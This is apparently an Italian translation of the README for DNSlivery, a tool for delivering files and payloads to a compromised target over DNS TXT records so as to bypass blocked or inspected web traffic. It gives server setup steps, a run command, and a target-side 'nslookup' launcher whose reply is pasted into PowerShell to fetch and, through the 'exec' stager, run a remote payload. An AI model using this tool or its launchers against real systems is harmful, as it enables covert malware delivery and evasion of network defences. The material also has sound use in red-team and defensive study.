
Consegna facile di file e payload tramite DNS
Consegna semplice di file e payload tramite DNS.
Questo progetto è stato originariamente ispirato da PowerDNS e dal segmento tecnico di Joff Thyer nel podcast Paul's Security Weekly #590 (youtu.be/CP6cIwFJswQ).
DNSlivery permette di consegnare file a un target utilizzando DNS come protocollo di trasporto.
Caratteristiche:

Consegnare facilmente file e/o payload a un target compromesso dove la consegna web classica non è possibile e senza la necessità di un software client dedicato. Questo si applica ad ambienti ristretti dove il traffico web in uscita è vietato o semplicemente ispezionato da un curioso proxy web.

Anche se esistono già strumenti di tunneling DNS più completi (ad es. dnscat2 e iodine), richiedono tutti l'esecuzione di un client dedicato sul target. Il problema è che probabilmente non c'è altro modo se non il DNS per consegnare il client in ambienti così ristretti. In altre parole, costruire un canale di comunicazione DNS con questi strumenti richiede di avere già un canale di comunicazione DNS.
In confronto, DNSlivery fornisce solo una comunicazione unidirezionale dal tuo server al target ma non richiede alcun client dedicato per farlo. Quindi, se hai bisogno di costruire un canale di comunicazione bidirezionale affidabile tramite DNS, usa DNSlivery per consegnare il client di uno strumento di tunneling DNS più avanzato al tuo target.
Proprio come la maggior parte degli strumenti di tunneling DNS, DNSlivery utilizza record TXT per memorizzare il contenuto dei file nella loro rappresentazione base64. Tuttavia, non richiede la configurazione di un server DNS completo per funzionare. Invece, utilizza la libreria scapy per ascoltare i pacchetti DNS in arrivo e creare la risposta desiderata.

Poiché la maggior parte dei file non rientra in un singolo record TXT, DNSlivery creerà più record ordinati contenenti blocchi base64 del file. Ad esempio, il diagramma sopra illustra la consegna del 42ndo blocco del file chiamato file.
Per recuperare tutti i blocchi base64 e ricombinarli senza la necessità di un client dedicato sul target, DNSlivery genererà per ogni file:

Questo processo di consegna in due fasi è necessario per aggiungere funzionalità allo stager (ad es. gestione delle risposte DNS perse) che altrimenti non rientrerebbero in un singolo record TXT.
Attualmente, sono supportati solo target PowerShell. Tuttavia, DNSlivery potrebbe essere migliorato per supportare target aggiuntivi come bash o python. Per favore fammi sapere @no0be se questa è una funzionalità che vorresti vedere implementata.
DNSlivery non richiede la costruzione di un'infrastruttura server complessa. In effetti, ci sono solo due semplici requisiti:
NS nella tua zona DNS pubblicaudp/53 da InternetIl primo passo è delegare un sottodominio al server che eseguirà DNSlivery creando un nuovo record NS nel tuo dominio. Ad esempio, ho creato il seguente record per delegare il sottodominio dnsd.no0.be al server vps.no0.be.
dnsd IN NS vps.no0.be.
Se la tua zona è gestita da un provider di terze parti, fai riferimento alla loro documentazione per creare il record NS.
Gli unici requisiti per eseguire DNSlivery sono python3 e la sua libreria scapy.
git clone https://github.com/no0be/DNSlivery.git && cd DNSlivery
pip install -r requirements.txt
DNSlivery servirà tutti i file di una directory specificata (pwd per impostazione predefinita) e deve essere eseguito con privilegi di root per ascoltare i pacchetti udp/53 in arrivo.
usage: dnslivery.py [-h] [-p PATH] [-s SIZE] [-v] interface domain nameserver
DNSlivery - Easy files and payloads delivery over DNS
positional arguments:
interface interface to listen to DNS traffic
domain FQDN name of the DNS zone
nameserver FQDN name of the server running DNSlivery
optional arguments:
-h, --help show this help message and exit
-p PATH, --path PATH path of directory to serve over DNS (default: pwd)
-s SIZE, --size SIZE size in bytes of base64 chunks (default: 255)
-v, --verbose increase verbosity
Esempio:
$ sudo python3 dnslivery.py eth0 dnsd.no0.be vps.no0.be -p /tmp/dns-delivery
DNSlivery - Easy files and payloads delivery over DNS
[*] File "file" ready for delivery at file.dnsd.no0.be (7 chunks)
[*] Listening for DNS queries...
Poiché il set di caratteri consentito per i nomi di dominio è molto più restrittivo rispetto ai nomi file UNIX (secondo RFC1035), DNSlivery eseguirà la normalizzazione quando necessario.
Esempio:
[*] File "My Awesome Powershell Script ;).ps1" ready for delivery at my-awesome-powershell-script----ps1.dnsd.no0.be (1891 chunks)
Tieni presente che l'attuale codice di normalizzazione non è perfetto poiché non tiene conto di nomi file sovrapposti o limiti di dimensione.
Sul target, inizia recuperando il launcher del file desiderato richiedendo il suo record TXT dedicato. I seguenti tre launcher sono supportati:
nslookup -type=txt [filename].[stager].[domain]
Quindi, basta copiare e incollare il launcher citato nella risposta DNS in una console PowerShell per recuperare il file sul target.
Esempio:

| Azione | Launcher | Descrizione |
|---|
| Stampa | [filename].print.[domain] | (Predefinito) Stampa il file consegnato sulla console |
| Esegui | [filename].exec.[domain] | Esegue il file consegnato (utile per script) |
| Salva | [filename].save.[domain] | Salva il file consegnato su disco (utile per binari) |